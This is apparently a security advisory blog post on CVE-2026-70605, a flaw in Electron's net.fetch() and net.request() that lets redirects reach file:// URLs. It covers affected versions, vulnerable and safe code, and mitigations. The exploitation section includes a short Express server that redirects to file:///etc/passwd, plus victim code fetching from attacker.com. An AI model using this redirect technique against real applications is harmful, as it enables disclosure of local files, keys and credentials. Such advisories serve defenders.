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How CVE-2026-70605 Works
Electron is a framework that allows developers to build cross-platform desktop applications using JavaScript, HTML, and CSS. A security vulnerability (CVE-2026-70605) was discovered in how Electron’s `net.fetch()` and `net.request()` APIs handle HTTP redirects.
Prior to patched versions 39.8.8, 40.9.0, 41.2.1, and 42.0.0-beta.3, these methods did not restrict which URL schemes (protocols) a redirect could target. When an application follows HTTP redirects (the default behavior), a remote server can send an HTTP 3xx redirect response that points to a `file://` URL or other local resource.
The framework processes this redirect without verifying that the target URL remains within acceptable protocol boundaries. If the application then returns or forwards the response body of that request, the contents of the local file are disclosed.
This is a classic Server-Side Request Forgery (SSRF) weakness (CWE-918). The attack vector is network-based, and the attack complexity is considered high. The vulnerability only affects applications that:
1. Make `net` requests to attacker-influenced URLs.
2. Follow redirects automatically (the default setting).
- Expose the response body (e.g., by returning or forwarding it).
Applications that only request fixed, trusted URLs are not affected. The impact is the potential disclosure of sensitive local files such as system configuration files, user data, application logs, or other privileged resources accessible through the application’s execution context.
DailyCVE Form:
Platform: Electron
Version: <39.8.8, <40.9.0, <41.2.1, <42.0.0-beta.3
Vulnerability: SSRF via HTTP redirect to local file
Severity: Moderate
date: 2026-08-05
Prediction: Patches already available
What Undercode Say: Analytics
To determine if your Electron application is vulnerable, audit your codebase for usage of `net.fetch()` and net.request(). Check if the URLs passed to these methods can be influenced by an external attacker. Also, verify if your application follows redirects (the default) and exposes the response body.
Bash command to check Electron version in a project:
Check the Electron version installed in a project npm list electron --depth=0 Or check the version globally electron --version For a packaged app, inspect the app.asar or version file cat /path/to/your.app/Contents/Resources/app/package.json | grep electron
Code example of vulnerable usage:
// VULNERABLE: Attacker-controlled URL, default redirect following, response body exposed
const { net } = require('electron');
async function fetchUserData(userId) {
// userId comes from an untrusted source (e.g., URL parameter)
const url = `https://api.example.com/users/${userId}`;
const response = await net.fetch(url); // Redirects followed by default
const data = await response.text(); // Response body exposed
return data;
}
Code example of safe usage (with workaround):
// SAFE: Disable redirect following for untrusted URLs
const { net } = require('electron');
async function fetchUserData(userId) {
const url = `https://api.example.com/users/${userId}`;
const response = await net.fetch(url, {
redirect: 'error' // or 'manual'
});
// Handle redirects manually and validate target before following
if (response.status >= 300 && response.status < 400) {
const location = response.headers.get('location');
if (!isUrlSafe(location)) {
throw new Error('Unsafe redirect target');
}
// Manually follow the redirect only after validation
const redirectedResponse = await net.fetch(location);
// ...
}
const data = await response.text();
return data;
}
function isUrlSafe(url) {
// Implement strict validation: only allow http/https, disallow file://, etc.
try {
const parsed = new URL(url);
return parsed.protocol === 'http:' || parsed.protocol === 'https:';
} catch {
return false;
}
}
How Exploit: Exploitation Steps
An attacker can exploit this vulnerability by setting up a malicious HTTP server that responds with a redirect to a local file.
Attack scenario:
- The victim uses an Electron application that makes a `net.fetch()` request to a URL provided by or influenced by the attacker.
- The attacker’s server responds with an HTTP 302 (or 301, 307, 308) redirect. The `Location` header points to a `file://` URL, e.g., `file:///etc/passwd` on Linux or `file:///C:/Windows/win.ini` on Windows.
- Electron’s `net.fetch()` follows the redirect without validating the scheme and makes a request to the local file.
- The application reads the response body (the contents of the local file) and returns or forwards it to the user or an external endpoint, thereby disclosing the file’s contents.
Example malicious server response (Node.js/Express):
const express = require('express');
const app = express();
app.get('/redirect', (req, res) => {
// Redirect to a local file
res.redirect(302, 'file:///etc/passwd');
});
app.listen(3000, () => console.log('Malicious server running on port 3000'));
Victim application code (vulnerable):
const { net } = require('electron');
// Attacker controls the URL
const userInput = 'http://attacker.com/redirect';
const response = await net.fetch(userInput); // Redirects to file:///etc/passwd
const fileContent = await response.text(); // Contains /etc/passwd
console.log(fileContent); // Discloses local file
Protection: Mitigation and Remediation
Immediate Actions:
- Upgrade Electron to a patched version: 39.8.8, 40.9.0, 41.2.1, or 42.0.0-beta.3 or later.
- If an immediate upgrade is not possible, set `redirect: ‘error’` or `redirect: ‘manual’` on all `net.fetch()` and `net.request()` calls that involve untrusted URLs.
- Validate redirect targets before following them manually. Implement strict allowlisting of schemes (e.g., only `http:` and
https:) and validate the domain against a known good list. - Avoid exposing response bodies from requests to attacker-influenced URLs. If the response is not needed, do not read it.
Long-term Security Practices:
- Conduct thorough code reviews focusing on network request handling logic, especially where `net.fetch()` or `net.request()` methods are used with user-controllable input.
- Implement application-level firewalls or monitoring to detect and block potentially dangerous redirect patterns.
- Follow the principle of least privilege: ensure the Electron application runs with minimal necessary file system permissions.
- Regularly update Electron and all dependencies to benefit from the latest security patches.
Impact: Consequences of Exploitation
Successful exploitation of CVE-2026-70605 can lead to:
- Unauthorized disclosure of local file contents: Attackers can read sensitive files on the victim’s machine, including:
- System configuration files (e.g.,
/etc/passwd,/etc/shadow,C:\Windows\System32\drivers\etc\hosts) - User data (e.g., browser cookies, SSH keys, personal documents)
- Application logs and source code
- Database credentials or API keys stored in configuration files
- Information disclosure that could lead to privilege escalation or data exfiltration, depending on the application’s access controls and the sensitivity of the accessed resources.
- Potential for further attacks: Disclosed information (e.g., credentials, internal network details) could be used to pivot to other systems or escalate privileges within the application or the underlying operating system.
The vulnerability is rated Moderate in severity. The CVSS v3.1 vector has an attack complexity of HIGH and an attack vector of NETWORK. Exploitation requires the victim application to follow redirects (default) and expose the response body, making it a targeted vulnerability with specific conditions.
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Sources:
Reported By: github.com
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